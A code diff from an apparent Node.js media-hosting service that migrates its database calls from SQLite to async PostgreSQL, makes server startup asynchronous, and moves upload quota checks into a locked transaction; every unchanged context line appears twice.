* Network's moderation audit. Same rule as record(): inside the transaction that performs the action.
* Network's moderation audit. Same rule as record(): inside the transaction that performs the action.
* Sandbox tenants announce nothing.
* Sandbox tenants announce nothing.
*/
*/
-function recordModeration(appId, payload) {
+async function recordModeration(appId, payload) {
if (!outbox) return null;
if (!outbox) return null;
- if (appId && db.isSandboxTenant(appId)) return null;
- const env = outbox.enqueue({
+ if (appId && await db.isSandboxTenant(appId)) return null;
+ const env = await outbox.enqueue(inTx(), {
event_type: 'media.moderation.action',
event_type: 'media.moderation.action',
actor: payload.actor_subject ? { type: 'user', id: payload.actor_subject } : { type: 'service', id: 'media' },
actor: payload.actor_subject ? { type: 'user', id: payload.actor_subject } : { type: 'service', id: 'media' },
subject: { type: 'moderation_action', id: `${payload.target.type}:${payload.target.id}` },
subject: { type: 'moderation_action', id: `${payload.target.type}:${payload.target.id}` },
@@ -182,13 +189,12 @@ function recordModeration(appId, payload) {
@@ -182,13 +189,12 @@ function recordModeration(appId, payload) {
* service. When the service's outbox table exists (the outbox is on there), the script writes its
* service. When the service's outbox table exists (the outbox is on there), the script writes its
* events into it too, and the service's relay publishes them. No relay runs in the script.
* events into it too, and the service's relay publishes them. No relay runs in the script.
*/
*/
-function initWriter() {
+async function initWriter() {
if (outbox) return outbox;
if (outbox) return outbox;
const raw = db.getDb();
const raw = db.getDb();
- if (!raw.prepare("SELECT 1 FROM sqlite_master WHERE type = 'table' AND name = 'event_outbox'").get()) return null;
+ if (!await raw.prepare("SELECT 1 FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = 'event_outbox'").get()) return null;
const client = createClient({ baseUrls: { events: 'http://127.0.0.1:9' }, retries: 0 });
const client = createClient({ baseUrls: { events: 'http://127.0.0.1:9' }, retries: 0 });
- outbox = createOutbox(raw, { events: createEventsClient(client, { source: 'media' }) });
- outbox.ensureSchema();
+ outbox = createPgOutbox(raw, { events: createEventsClient(client, { source: 'media' }) });
return outbox;
return outbox;
}
}
@@ -222,44 +228,43 @@ function objectChangeEvent(change, obj) {
@@ -222,44 +228,43 @@ function objectChangeEvent(change, obj) {
* rest. With the outbox off it does nothing (the rows wait, or the service drops them hourly).
* rest. With the outbox off it does nothing (the rows wait, or the service drops them hourly).
* Returns how many rows it turned into events (sandbox tenants' rows are removed without one).
* Returns how many rows it turned into events (sandbox tenants' rows are removed without one).
*/
*/
-function recordObjectChanges({ limit = 1000 } = {}) {
+async function recordObjectChanges({ limit = 1000 } = {}) {
if (!outbox) return 0;
if (!outbox) return 0;
const raw = db.getDb();
const raw = db.getDb();
- if (!raw.inTransaction) throw new Error('recordObjectChanges() must run inside the transaction that changed the objects');
- const rows = raw.prepare('SELECT * FROM media_object_changes ORDER BY id LIMIT ?').all(limit);
+ if (!raw.inTransaction()) throw new Error('recordObjectChanges() must run inside the transaction that changed the objects');
+ const rows = await raw.prepare('SELECT * FROM media_object_changes ORDER BY id LIMIT ?').all(limit);
let n = 0;
let n = 0;
for (const c of rows) {
for (const c of rows) {
- const obj = raw.prepare('SELECT id, app_id, kind, legacy_ref FROM media_objects WHERE id = ?').get(c.object_id);
+ const obj = await raw.prepare('SELECT id, app_id, kind, legacy_ref FROM media_objects WHERE id = ?').get(c.object_id);
if (obj) {
if (obj) {
const [type, payload] = objectChangeEvent(c, obj);
const [type, payload] = objectChangeEvent(c, obj);
- if (enqueue(type, obj.app_id, { type: 'object', id: obj.id }, payload, 'important')) n++;
+ if (await enqueue(type, obj.app_id, { type: 'object', id: obj.id }, payload, 'important')) n++;
}
}
- raw.prepare('DELETE FROM media_object_changes WHERE id = ?').run(c.id);
+ await raw.prepare('DELETE FROM media_object_changes WHERE id = ?').run(c.id);
}
}
return n;
return n;
}
}
/** Drain staged object changes in a transaction of their own (the relay's timer). */
/** Drain staged object changes in a transaction of their own (the relay's timer). */
-function drainObjectChanges() {
+async function drainObjectChanges() {
if (!outbox) return 0;
if (!outbox) return 0;
- let n = 0;
- db.getDb().transaction(() => { n = recordObjectChanges(); })();
+ const n = await db.getDb().tx(async () => await recordObjectChanges());
if (n) kick();
if (n) kick();
return n;
return n;
}
}
-function discardObjectChanges() {
- return db.run('DELETE FROM media_object_changes').changes;
+async function discardObjectChanges() {
+ return (await db.run('DELETE FROM media_object_changes')).changes;
}
}
/** Wake the relay once the transaction that queued events has committed. */
/** Wake the relay once the transaction that queued events has committed. */
function kick() {
function kick() {
- if (outbox) setImmediate(() => outbox && outbox.kick());
+ if (outbox) db.getDb().afterCommit(() => outbox && outbox.kick());
}
}
-function status() {
+async function status() {
if (!outbox) return { enabled: false };
if (!outbox) return { enabled: false };
- return { enabled: true, pending: outbox.pending(), rejected: outbox.rejected(), queued_since_boot: stats.queued, last_error: stats.lastError };
+ return { enabled: true, pending: await outbox.pending(), rejected: await outbox.rejected(), queued_since_boot: stats.queued, last_error: stats.lastError };
}
}
function _reset() {
function _reset() {
@@ -58,8 +58,8 @@ function filePathForKey(row) {
@@ -58,8 +58,8 @@ function filePathForKey(row) {
return path.join(config.files.path, row.app_id, row.key);
return path.join(config.files.path, row.app_id, row.key);
}
}
-function filePublic(row) {
- const sandbox = db.isSandboxTenant(row.app_id);
+async function filePublic(row) {
+ const sandbox = await db.isSandboxTenant(row.app_id);
const signed = sandbox ? require('../objects/signing').signedFileUrl(row.key) : null;
const signed = sandbox ? require('../objects/signing').signedFileUrl(row.key) : null;
return {
return {
key: row.key,
key: row.key,
@@ -99,7 +99,7 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
@@ -99,7 +99,7 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
const tag = req.appRow.project_id ? `${crypto.createHash('sha256').update(`tenant:${req.appId}`).digest('hex').slice(0, 8)}-` : '';
const tag = req.appRow.project_id ? `${crypto.createHash('sha256').update(`tenant:${req.appId}`).digest('hex').slice(0, 8)}-` : '';
const key = `${digest.slice(0, 12)}-${tag}${name}`;
const key = `${digest.slice(0, 12)}-${tag}${name}`;
- const existing = db.getFileByKey(key);
+ const existing = await db.getFileByKey(key);
if (existing) {
if (existing) {
// Same content + name already stored (any app hash-collides only on
// Same content + name already stored (any app hash-collides only on
// identical bytes+name for its own app; cross-app: key is global, so
// identical bytes+name for its own app; cross-app: key is global, so
@@ -108,42 +108,51 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
@@ -108,42 +108,51 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
if (existing.app_id !== req.appId) {
if (existing.app_id !== req.appId) {
return res.status(409).json({ error: 'Key conflict — rename the file and retry' });
return res.status(409).json({ error: 'Key conflict — rename the file and retry' });
}
}
- return res.status(200).json({ ...filePublic(existing), deduplicated: true });
+ return res.status(200).json({ ...await filePublic(existing), deduplicated: true });
}
}
- // The root namespace's quotas (bytes and objects: files + native objects + uploads in progress).
- // Checked after the last await, so nothing else is stored between this check and the row below
- // (concurrent uploads each saw the same usage when it ran before hashing).
+ // The root namespace's quotas (bytes and objects: files + native objects + uploads in progress), checked and
+ // the row written in one transaction under the tenant's quota lock, so concurrent uploads cannot all fit.
const root = db.rootNamespace(req.appRow);
const root = db.rootNamespace(req.appRow);
- const q = namespaces.checkQuota(req.appRow, root, { bytes: req.file.size, objects: 1 });
- if (q) {
+ const dest = path.join(appDir(req.appId), key);
+ const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
+ const q = await db.getDb().tx(async () => {
+ const over = await namespaces.checkQuota(req.appRow, root, { bytes: req.file.size, objects: 1 });
+ if (over) return over;
+ // A same-tenant upload of the same bytes and name that committed while this one hashed.
+ const same = await db.getFileByKey(key);
+ if (same) return { same };
+ await db.createFile({
+ key,
+ app_id: req.appId,
+ user_id: userId,
+ original_name: req.file.originalname || name,
+ size: req.file.size,
+ mime: req.file.mimetype || 'application/octet-stream',
+ sha256: digest,
+ });
+ try {
+ fs.renameSync(req.file.path, dest);
+ } catch {
+ fs.copyFileSync(req.file.path, dest);
+ try { fs.unlinkSync(req.file.path); } catch { /* */ }
+ }
+ return null;
+ });
+ if (q && q.same) {
try { fs.unlinkSync(req.file.path); } catch { /* */ }
try { fs.unlinkSync(req.file.path); } catch { /* */ }
- return res.status(413).json({ error: q.code === 'media.quota.objects_exceeded' ? 'App object quota exceeded' : 'App file quota exceeded', code: q.code, ...q.extra });
+ if (q.same.app_id !== req.appId) return res.status(409).json({ error: 'Key conflict — rename the file and retry' });
+ return res.status(200).json({ ...await filePublic(q.same), deduplicated: true });
}
}
-
- const dest = path.join(appDir(req.appId), key);
- try {
- fs.renameSync(req.file.path, dest);
- } catch {
- fs.copyFileSync(req.file.path, dest);
+ if (q) {
try { fs.unlinkSync(req.file.path); } catch { /* */ }
try { fs.unlinkSync(req.file.path); } catch { /* */ }
+ return res.status(413).json({ error: q.code === 'media.quota.objects_exceeded' ? 'App object quota exceeded' : 'App file quota exceeded', code: q.code, ...q.extra });
}
}
- const userId = req.authType === 'user' ? req.userId : (req.body?.user_id ?? null);
- db.createFile({
- key,
- app_id: req.appId,
- user_id: userId,
- original_name: req.file.originalname || name,
- size: req.file.size,
- mime: req.file.mimetype || 'application/octet-stream',
- sha256: digest,
- });
-
- const row = db.getFileByKey(key, req.appId);
- namespaces.reconcileChain(req.appRow, root);
+ const row = await db.getFileByKey(key, req.appId);
+ await namespaces.reconcileChain(req.appRow, root);
console.log(`[Files] Stored ${key} for app ${req.appId} (${(req.file.size / 1024).toFixed(1)} KB)`);
console.log(`[Files] Stored ${key} for app ${req.appId} (${(req.file.size / 1024).toFixed(1)} KB)`);
- res.status(201).json(filePublic(row));
+ res.status(201).json(await filePublic(row));
} catch (err) {
} catch (err) {
console.error('[Files] Upload error:', err.message);
console.error('[Files] Upload error:', err.message);
if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
if (req.file?.path) { try { fs.unlinkSync(req.file.path); } catch { /* */ } }
@@ -152,14 +161,14 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
@@ -152,14 +161,14 @@ router.post('/', tenantAuth({ allowUser: true, verb: 'write' }), limits('media.f
});
});
// ── List ─────────────────────────────────────────────────────
// ── List ─────────────────────────────────────────────────────
-router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.file.list'), (req, res) => {
+router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.file.list'), async (req, res) => {
try {
try {
const limit = Math.min(Math.max(parseInt(req.query.limit || '100', 10), 1), 500);
const limit = Math.min(Math.max(parseInt(req.query.limit || '100', 10), 1), 500);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
const offset = Math.max(parseInt(req.query.offset || '0', 10), 0);
- const files = db.listFiles(req.appId, { limit, offset });
+ const files = await db.listFiles(req.appId, { limit, offset });
res.json({
res.json({
- files: files.map(filePublic),
- used_bytes: require('../objects/model').usedBytes(req.appId),
+ files: (await Promise.all(files.map(filePublic))),
+ used_bytes: await require('../objects/model').usedBytes(req.appId),
quota_bytes: Number(req.appRow.quota_bytes) || 0,
quota_bytes: Number(req.appRow.quota_bytes) || 0,
limit, offset,
limit, offset,
});
});
@@ -169,11 +178,11 @@ router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.fil
@@ -169,11 +178,11 @@ router.get('/', tenantAuth({ allowUser: true, verb: 'list' }), limits('media.fil
});
});
// ── Meta ─────────────────────────────────────────────────────
// ── Meta ─────────────────────────────────────────────────────
-router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media.file.read'), (req, res) => {
+router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media.file.read'), async (req, res) => {
try {
try {
- const row = db.getFileByKey(String(req.params.key), req.appId);
+ const row = await db.getFileByKey(String(req.params.key), req.appId);
if (!row) return res.status(404).json({ error: 'File not found' });
if (!row) return res.status(404).json({ error: 'File not found' });
- res.json(filePublic(row));
+ res.json(await filePublic(row));
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to get file' });
res.status(500).json({ error: 'Failed to get file' });
}
}
@@ -181,19 +190,19 @@ router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media
@@ -181,19 +190,19 @@ router.get('/:key', tenantAuth({ allowUser: true, verb: 'read' }), limits('media
// ── Delete ───────────────────────────────────────────────────
// ── Delete ───────────────────────────────────────────────────
// A delete removes bytes and frees quota: a write, tighter than reads.
// A delete removes bytes and frees quota: a write, tighter than reads.
-router.delete('/:key', tenantAuth({ allowUser: true, verb: 'delete' }), limits('media.file.delete', { minute: 60, hour: 1200 }), (req, res) => {
+router.delete('/:key', tenantAuth({ allowUser: true, verb: 'delete' }), limits('media.file.delete', { minute: 60, hour: 1200 }), async (req, res) => {
try {
try {
- const row = db.getFileByKey(String(req.params.key), req.appId);
+ const row = await db.getFileByKey(String(req.params.key), req.appId);
if (!row) return res.status(404).json({ error: 'File not found' });
if (!row) return res.status(404).json({ error: 'File not found' });
if (req.authType === 'user' && !(req.userId != null && row.user_id === req.userId)) {
if (req.authType === 'user' && !(req.userId != null && row.user_id === req.userId)) {
return res.status(403).json({ error: 'Not authorized to delete this file' });
return res.status(403).json({ error: 'Not authorized to delete this file' });
}
}
- if (require('../objects/model').isHeldRow(row)) return res.status(409).json({ error: 'File is under a retention hold', code: 'media.object.held' });
+ if (await require('../objects/model').isHeldRow(row)) return res.status(409).json({ error: 'File is under a retention hold', code: 'media.object.held' });
const filePath = filePathForKey(row);
const filePath = filePathForKey(row);
try { if (fs.existsSync(filePath)) fs.unlinkSync(filePath); } catch { /* */ }
try { if (fs.existsSync(filePath)) fs.unlinkSync(filePath); } catch { /* */ }
- db.deleteFileRow(row.key);
- namespaces.reconcileChain(req.appRow, db.rootNamespace(req.appRow));
+ await db.deleteFileRow(row.key);
+ await namespaces.reconcileChain(req.appRow, db.rootNamespace(req.appRow));
res.json({ message: 'File deleted' });
res.json({ message: 'File deleted' });
} catch (err) {
} catch (err) {
res.status(500).json({ error: 'Failed to delete file' });
res.status(500).json({ error: 'Failed to delete file' });
@@ -22,7 +22,7 @@ if (drill.enabled) {
@@ -22,7 +22,7 @@ if (drill.enabled) {
process.exit(1);
process.exit(1);
}
}
drill.installGuards();
drill.installGuards();
- console.log(`[Drill] MEDIA_DRILL: restore-drill instance on ${process.env.HOST}:${process.env.PORT}, database ${require('path').resolve(process.env.DB_PATH)}. Reads only; no stored bytes, background work or outbound connections.`);
+ console.log(`[Drill] MEDIA_DRILL: restore-drill instance on ${process.env.HOST}:${process.env.PORT}, database ${(() => { try { const u = new URL(process.env.DATABASE_URL); return `${u.hostname}:${u.port || 5432}${u.pathname}`; } catch { return '(unset)'; } })()}. Reads only; no stored bytes, background work or outbound connections.`);
}
}
const fs = require('fs');
const fs = require('fs');
@@ -31,312 +31,326 @@ const config = require('./config');
@@ -31,312 +31,326 @@ const config = require('./config');
const db = require('./db/database');
const db = require('./db/database');
const auth = require('./auth');
const auth = require('./auth');
-// ── Bootstrap ────────────────────────────────────────────────
+// Tests take the app and the server once the boot has finished: require('./server/index.js').ready.
+const ready = (async () => {
+ // ── Bootstrap ────────────────────────────────────────────────
-// A drill creates no storage directory (it writes no file) and seeds nothing: the copy is production's.
-if (!drill.enabled) {
- for (const dir of [config.vod.path, config.vod.clipsPath, config.pastes.path, config.thumbnails.path, config.files.path, config.objects.path]) {
- if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+ // A drill creates no storage directory (it writes no file) and seeds nothing: the copy is production's.
+ if (!drill.enabled) {
+ for (const dir of [config.vod.path, config.vod.clipsPath, config.pastes.path, config.thumbnails.path, config.files.path, config.objects.path]) {
+ if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
+ }
}
}
-}
-db.getDb(); // init schema (WAL)
-if (!drill.enabled) {
- auth.seedApps(); // upsert MEDIA_APPS_SEED / MEDIA_APP_KEYS
- auth.ensureTokenOnlyApps(); // tenants reached only with Network service tokens (community)
- auth.startJwksRefresh(); // a drill asks Network for nothing (app keys still verify against the copy)
-}
+ // PostgreSQL first (migrations run as the owner), then what reads it before the app serves: Network's token cutoffs
+ // (isRevoked() is synchronous) and the two revisioned tier policies (their get() reads memory).
+ await db.initDb();
+ // Valkey (ADR-035): per-actor limit counters shared across processes (not in a drill: it connects nowhere).
+ const valkey = !drill.enabled && config.valkey.url ? require('openvibe-sdk/valkey').createValkey({ url: config.valkey.url, prefix: config.valkey.prefix }) : null;
+ require('./actor-limits').useValkey(valkey);
+ if (!drill.enabled) await require('./revocations').load();
+ await require('./vod/tier-config').init(require('./vod/vod-storage').DEFAULTS);
+ await require('./objects/tier-policy').init();
+ if (!drill.enabled) {
+ await auth.seedApps(); // upsert MEDIA_APPS_SEED / MEDIA_APP_KEYS
+ await auth.ensureTokenOnlyApps(); // tenants reached only with Network service tokens (community)
+ auth.startJwksRefresh(); // a drill asks Network for nothing (app keys still verify against the copy)
+ }
-const app = express();
-// Only the local reverse proxy (nginx on this host) is trusted to say who the client is: req.ip is
-// its X-Forwarded-For for loopback peers and the socket address for anyone else, so a direct caller
-// cannot pick its own IP (views, rate limits). `true` trusted every peer's header.
-app.set('trust proxy', require('./client-ip').TRUST_PROXY);
-// Metrics first, so every route below is measured (GET /metrics: loopback callers only).
-const release = require('openvibe-shared/release').createRelease({ service: 'media', root: require('path').join(__dirname, '..') });
-const observability = require('./observability');
-const instrumented = observability.instrument(app, { release: release.release });
-// Per-actor limit refusals (server/actor-limits.js) are counted there: media_rate_limited_total.
-require('./actor-limits').bindMetrics(instrumented.registry);
-// A restore-drill instance answers reads only: 403 for every other method, on every path (before the
-// raw-body upload routes below).
-if (drill.enabled) app.use(drill.readOnly);
-// Object API v2 content uploads read the raw request body, so they sit ahead of the body parsers.
-app.put('/api/v2/:app/objects/:id/content', ...require('./objects/routes').contentHandlers);
-app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...require('./objects/routes').partHandlers);
-// Network's sign-out-everywhere cutoffs (server/revocations.js): signed, loopback-only. Before the JSON
-// parser, which would consume the raw body the signature is over.
-app.post('/internal/events', ...require('./revocations').handler());
-app.use(express.json({ limit: '2mb' }));
+ const app = express();
+ // Only the local reverse proxy (nginx on this host) is trusted to say who the client is: req.ip is
+ // its X-Forwarded-For for loopback peers and the socket address for anyone else, so a direct caller
+ // cannot pick its own IP (views, rate limits). `true` trusted every peer's header.
+ app.set('trust proxy', require('./client-ip').TRUST_PROXY);
+ // Metrics first, so every route below is measured (GET /metrics: loopback callers only).
+ const release = require('openvibe-shared/release').createRelease({ service: 'media', root: require('path').join(__dirname, '..') });
+ const observability = require('./observability');
+ const instrumented = observability.instrument(app, { release: release.release });
+ // Per-actor limit refusals (server/actor-limits.js) are counted there: media_rate_limited_total.
+ require('./actor-limits').bindMetrics(instrumented.registry);
+ // A restore-drill instance answers reads only: 403 for every other method, on every path (before the
+ // raw-body upload routes below).
+ if (drill.enabled) app.use(drill.readOnly);
+ // Object API v2 content uploads read the raw request body, so they sit ahead of the body parsers.
+ app.put('/api/v2/:app/objects/:id/content', ...require('./objects/routes').contentHandlers);
+ app.put('/api/v2/:app/objects/:id/multipart/:uploadId/parts/:n', ...require('./objects/routes').partHandlers);
+ // Network's sign-out-everywhere cutoffs (server/revocations.js): signed, loopback-only. Before the JSON
+ // parser, which would consume the raw body the signature is over.
+ app.post('/internal/events', ...require('./revocations').handler());
+ app.use(express.json({ limit: '2mb' }));
-// ── Visitor sign-in (OAuth client `media` on the Network; same module as Community/Tools) ──
-// Host-only cookies on openvibe.media. No new dependency: cookies are parsed here.
-app.use((req, _res, next) => {
- req.cookies = {};
- for (const part of String(req.headers.cookie || '').split(';')) {
- const i = part.indexOf('='); if (i < 1) continue;
- try { req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); } catch { /* malformed value */ }
- }
- next();
-});
-{ const legal = require('openvibe-shared/legal'); app.get(legal.PATHS, legal.handler({ id: 'media', service: 'media', host: 'openvibe.media', name: 'OpenVibe.Media', profile: 'hosting' })); app.get('/tos', (_req, res) => res.redirect(301, '/terms')); }
-// Brand assets: icon set + web app manifest generated by openvibe-shared/scripts/build-app-icons.js
-// This site's own pinned copy of the OpenVibe Frame's browser files (openvibe-shared/serve).
-app.use('/shared', require('openvibe-shared/serve').handler());
-app.use('/assets', express.static(require('path').join(__dirname, 'brand'), { maxAge: '7d' }));
-app.get('/manifest.webmanifest', (_req, res) => res.type('application/manifest+json').sendFile(require('path').join(__dirname, 'brand', 'manifest.webmanifest')));
-// ── Internal: avatar ingestion (the Network asks; see server/avatars/ingest.js) ──
-{
- const crypto = require('crypto');
- const internalOnly = (req, res, next) => {
- const want = String(config.network.internalApiKey || ''), got = String(req.headers['x-internal-key'] || '');
- const viaProxy = req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip'];
- const local = /^(::1|::ffff:127\.|127\.)/.test(String(req.socket.remoteAddress || ''));
- if (viaProxy || !local || want.length < 16 || got.length !== want.length || !crypto.timingSafeEqual(Buffer.from(got), Buffer.from(want))) return res.status(404).json({ error: 'Not found' });
+ // ── Visitor sign-in (OAuth client `media` on the Network; same module as Community/Tools) ──
+ // Host-only cookies on openvibe.media. No new dependency: cookies are parsed here.
+ app.use((req, _res, next) => {
+ req.cookies = {};
+ for (const part of String(req.headers.cookie || '').split(';')) {
+ const i = part.indexOf('='); if (i < 1) continue;
+ try { req.cookies[part.slice(0, i).trim()] = decodeURIComponent(part.slice(i + 1).trim()); } catch { /* malformed value */ }
+ }
next();
next();
- };
- const pastes = require('./pastes/routes');
- app.post('/internal/avatar-ingest', internalOnly, require('./avatars/ingest').createIngestHandler({ db: require('./db/database'), config, screenshotsDir: pastes.SCREENSHOTS_DIR, generateSlug: pastes.generateSlug }));
-}
-const userAuth = require('./user-auth');
-const userAuthConfig = {
- baseUrl: config.publicUrl, networkUrl: config.network.url, networkInternalUrl: config.network.internalUrl,
- cookies: { secure: /^https:/.test(config.publicUrl) },
- oauth: { clientId: process.env.OV_OAUTH_CLIENT_ID || 'media', clientSecret: process.env.OV_OAUTH_CLIENT_SECRET || '', redirectUri: process.env.OV_OAUTH_REDIRECT_URI || `${config.publicUrl}/auth/callback` },
-};
-// A restore drill signs nobody in: that would redeem codes at Network.
-if (drill.enabled) app.use('/auth', (req, res) => res.status(503).json({ error: 'This is a restore-drill instance (MEDIA_DRILL): no sign-in', code: 'media.drill_no_sign_in' }));
-const userAuthClient = userAuth.createAuthClient(userAuthConfig);
-app.use('/auth', userAuth.createAuthRoutes(userAuthConfig, userAuthClient));
-app.use(express.urlencoded({ extended: true, limit: '2mb' }));
-
-// CORS preflight for tenant API routes (per-app allow-list; auth-less OPTIONS).
-app.options(['/api/v1/:app/*', '/api/v2/:app/*'], (req, res) => {
- const origin = req.headers.origin;
- const appRow = db.getApp(String(req.params.app || ''));
- if (origin && appRow && db.appAllowedOrigins(appRow).includes(origin)) {
- res.set('Access-Control-Allow-Origin', origin);
- res.set('Vary', 'Origin');
- res.set('Access-Control-Allow-Headers', 'Authorization, Content-Type, X-Upload-Token, X-Content-SHA256, Idempotency-Key, traceparent, X-OpenVibe-Request-Id');
- res.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
+ });
+ { const legal = require('openvibe-shared/legal'); app.get(legal.PATHS, legal.handler({ id: 'media', service: 'media', host: 'openvibe.media', name: 'OpenVibe.Media', profile: 'hosting' })); app.get('/tos', (_req, res) => res.redirect(301, '/terms')); }
+ // Brand assets: icon set + web app manifest generated by openvibe-shared/scripts/build-app-icons.js
+ // This site's own pinned copy of the OpenVibe Frame's browser files (openvibe-shared/serve).
+ app.use('/shared', require('openvibe-shared/serve').handler());
+ app.use('/assets', express.static(require('path').join(__dirname, 'brand'), { maxAge: '7d' }));
+ app.get('/manifest.webmanifest', (_req, res) => res.type('application/manifest+json').sendFile(require('path').join(__dirname, 'brand', 'manifest.webmanifest')));
+ // ── Internal: avatar ingestion (the Network asks; see server/avatars/ingest.js) ──
+ {
+ const crypto = require('crypto');
+ const internalOnly = (req, res, next) => {
+ const want = String(config.network.internalApiKey || ''), got = String(req.headers['x-internal-key'] || '');
+ const viaProxy = req.headers['x-forwarded-for'] || req.headers['x-real-ip'] || req.headers['cf-connecting-ip'];
+ const local = /^(::1|::ffff:127\.|127\.)/.test(String(req.socket.remoteAddress || ''));
+ if (viaProxy || !local || want.length < 16 || got.length !== want.length || !crypto.timingSafeEqual(Buffer.from(got), Buffer.from(want))) return res.status(404).json({ error: 'Not found' });
+ next();
+ };
+ const pastes = require('./pastes/routes');
+ app.post('/internal/avatar-ingest', internalOnly, require('./avatars/ingest').createIngestHandler({ db: require('./db/database'), config, screenshotsDir: pastes.SCREENSHOTS_DIR, generateSlug: pastes.generateSlug }));
}
}
- res.sendStatus(204);
-});
+ const userAuth = require('./user-auth');
+ const userAuthConfig = {
+ baseUrl: config.publicUrl, networkUrl: config.network.url, networkInternalUrl: config.network.internalUrl,
+ cookies: { secure: /^https:/.test(config.publicUrl) },
+ oauth: { clientId: process.env.OV_OAUTH_CLIENT_ID || 'media', clientSecret: process.env.OV_OAUTH_CLIENT_SECRET || '', redirectUri: process.env.OV_OAUTH_REDIRECT_URI || `${config.publicUrl}/auth/callback` },
+ };
+ // A restore drill signs nobody in: that would redeem codes at Network.
+ if (drill.enabled) app.use('/auth', (req, res) => res.status(503).json({ error: 'This is a restore-drill instance (MEDIA_DRILL): no sign-in', code: 'media.drill_no_sign_in' }));
+ const userAuthClient = userAuth.createAuthClient(userAuthConfig);
+ app.use('/auth', userAuth.createAuthRoutes(userAuthConfig, userAuthClient));
+ app.use(express.urlencoded({ extended: true, limit: '2mb' }));
-// ── Routes ───────────────────────────────────────────────────
+ // CORS preflight for tenant API routes (per-app allow-list; auth-less OPTIONS).
+ app.options(['/api/v1/:app/*', '/api/v2/:app/*'], async (req, res) => {
+ const origin = req.headers.origin;
+ const appRow = await db.getApp(String(req.params.app || ''));
+ if (origin && appRow && db.appAllowedOrigins(appRow).includes(origin)) {
+ res.set('Access-Control-Allow-Origin', origin);
+ res.set('Vary', 'Origin');
+ res.set('Access-Control-Allow-Headers', 'Authorization, Content-Type, X-Upload-Token, X-Content-SHA256, Idempotency-Key, traceparent, X-OpenVibe-Request-Id');
+ res.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
+ }
+ res.sendStatus(204);
+ });
-// What this server runs (ADR-016); the shared navbar's release-watch polls it. POST /release-metrics
-// takes open tabs' update reports into /metrics (release_client_updates_total). A restore drill
-// answers that POST with the readOnly 403 above, like every other write.
-release.mount(app, { registry: instrumented.registry });
-// GET /limits.json: the developer limits enforced here, from config (WS-N task 7; Codes renders them).
-require('./limits').mountLimits(app, config);
+ // ── Routes ───────────────────────────────────────────────────
-app.get('/healthz', (req, res) => {
- res.json({
- ok: true,
- service: 'openvibe-media',
- apps: db.listApps().length,
- recordings: require('./vod/recorder').activeCount(),
- uptime_s: Math.round(process.uptime()),
- });
-});
+ // What this server runs (ADR-016); the shared navbar's release-watch polls it. POST /release-metrics
+ // takes open tabs' update reports into /metrics (release_client_updates_total). A restore drill
+ // answers that POST with the readOnly 403 above, like every other write.
+ release.mount(app, { registry: instrumented.registry });
+ // GET /limits.json: the developer limits enforced here, from config (WS-N task 7; Codes renders them).
+ require('./limits').mountLimits(app, config);
-// Readiness: required = database + writable storage; optional (degraded) = Network key, remote tiers, events outbox.
-{
- const vodStorageForReady = require('./vod/vod-storage');
- observability.mountReady(app, instrumented.registry, {
- release: release.release, db, config, auth,
- recorder: require('./vod/recorder'),
- events: require('./events'),
- remote: { configured: (n) => vodStorageForReady.providerConfigured(n), probe: (n) => vodStorageForReady.probeProvider(n) },
- drill: drill.enabled,
+ app.get('/healthz', async (req, res) => {
+ res.json({
+ ok: true,
+ service: 'openvibe-media',
+ apps: (await db.listApps()).length,
+ recordings: require('./vod/recorder').activeCount(),
+ uptime_s: Math.round(process.uptime()),
+ });
});
});
-}
-// Per-app media stats (app-key only) — hero/dashboard counters in the owning app.
-app.get('/api/v1/:app/stats', auth.tenantAuth(), (req, res) => {
- try {
- res.json(db.getAppStats(req.appId));
- } catch (err) {
- console.error('[Stats] error:', err.message);
- res.status(500).json({ error: 'Failed to compute stats' });
- }
-});
-
-// Daily series behind a stat (vods, clips, pastes, hours) — "over time" charts in the owning app.
-app.get('/api/v1/:app/stats/series/:metric', auth.tenantAuth(), (req, res) => {
- try {
- const series = db.getAppStatSeries(req.appId, String(req.params.metric), req.query.days);
- if (!series) return res.status(404).json({ error: 'Unknown metric' });
- res.json(series);
- } catch (err) {
- console.error('[Stats] series error:', err.message);
- res.status(500).json({ error: 'Failed to compute series' });
+ // Readiness: required = database + writable storage; optional (degraded) = Network key, remote tiers, events outbox.
+ {
+ const vodStorageForReady = require('./vod/vod-storage');
+ observability.mountReady(app, instrumented.registry, {
+ release: release.release, db, config, auth,
+ recorder: require('./vod/recorder'),
+ events: require('./events'),
+ remote: { configured: (n) => vodStorageForReady.providerConfigured(n), probe: async (n) => await vodStorageForReady.probeProvider(n) },
+ drill: drill.enabled,
+ });
}
}
-});
-
-try { require('./views/service').ensureSchema(); } catch (e) { console.warn('[Views] schema:', e.message); }
-if (!drill.enabled) setInterval(() => { try { const n = require('./views/service').prune(30); if (n) console.log(`[Views] pruned ${n} stale visit row(s)`); } catch { /* */ } }, 12 * 3600 * 1000);
-// The object explorer (WS-G task 12): a signed-in person's own objects and usage, and the operator views
-// (server/me/routes.js). /api/v2/me sits ahead of /api/v2/:app/…, so "me" is never a tenant there.
-const me = require('./me/routes').createMeRoutes({ auth: userAuthClient });
